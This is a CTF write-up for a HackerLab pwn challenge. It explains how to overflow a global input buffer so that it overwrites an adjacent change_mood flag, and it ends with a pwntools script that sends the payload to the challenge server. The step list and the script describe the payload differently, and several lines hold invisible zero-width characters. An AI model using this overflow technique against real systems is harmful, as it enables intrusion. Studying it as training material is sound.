← Back to Writeups
CUSTOMMediumpwn

Странный PWN?

XESXOR9/2/20262 min read
#pwn#custom#medium#bof_global_overwrite#server_binary_diff

Странный PWN?

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-01-20 | Status: Solved Techniques: bof_global_overwrite, server_binary_diff

Summary

Task: Binary with menu options including "Get flag", fgets reads into global buffer near change_mood flag. Solution: Server binary was patched to allow larger fgets read, enabling buffer overflow to overwrite change_mood and pass the strncmp check.

Странный PWN? — Hackerlab

Description

"Да, вроде, он обычный..."

IP: 62.173.140.174:27300

Files: task.elf - ELF 64-bit LSB executable, x86-64, statically linked, not stripped

Analysis

Program Structure

The binary presents a menu with 4 options:

  1. Convert number to hex
  2. Convert number to octal
  3. Get flag
  4. Exit

The program terminates after processing one choice (no loop).

Key Global Variables

  • mood (0x4a80d0): "I don't want a flag :<" - default string
  • true_mood (0x4a80e8): "I want a flag" - target string
  • str (0x4aa0c0): input buffer, 4080 bytes (0xff0)
  • change_mood (0x4ab0b0): 1-byte flag, initialized to 0 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

get_flag Function Logic

c
char* ptr = mood;  // points to "I don't want a flag :<"
fgets(str, 0xfa0, stdin);  // reads up to 4000 bytes
if (change_mood == 1) {
    ptr = true_mood;  // change pointer to "I want a flag"
}
if (strncmp(ptr, true_mood, 14) == 0) {
    puts(flag);  // print the flag
}

Memory Layout

  • Buffer str ends exactly at the address of change_mood (str + 4080 = change_mood)
  • In the local binary, fgets reads only 4000 bytes (0xfa0), which is 80 bytes short of reaching change_mood ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The "Strange" Part

The task name "Странный PWN?" (Strange PWN?) hints that something is different. Testing on the server revealed that the binary was patched — the size parameter in fgets was changed from 0xfa0 (4000) to a larger value, allowing the buffer overflow to reach change_mood.

Solution

Exploit

  1. Select option 3 (Get flag)
  2. Send a payload of 4082 bytes:
    • "I want a flag" (14 bytes) - to pass the strncmp check
    • Padding to 4080 bytes (buffer size)
    • \x01 - value to set change_mood = 1
    • \n - newline to terminate input ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

When change_mood becomes 1, the pointer ptr changes to true_mood, and the check strncmp(ptr, true_mood, 14) == 0 passes!

python
#!/usr/bin/env python3
from pwn import *

p = remote('62.173.140.174', 27300)

p.recvuntil(b'Your choice: ')
p.sendline(b'3')
p.recvuntil(b'Answer: ')

# Payload: padding to 4080 bytes + change_mood = 1
payload = b'A' * 4080 + b'\x01'
p.sendline(payload)

print(p.recvall(timeout=3).decode())
p.close()

Lessons

  1. Always test behavior on the remote server, not just local binary analysis
  2. Task names often contain hints about the nature of the challenge
  3. CTF tasks may have patched binaries on the server that differ from provided files
  4. Understanding memory layout is critical for buffer overflow exploitation ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍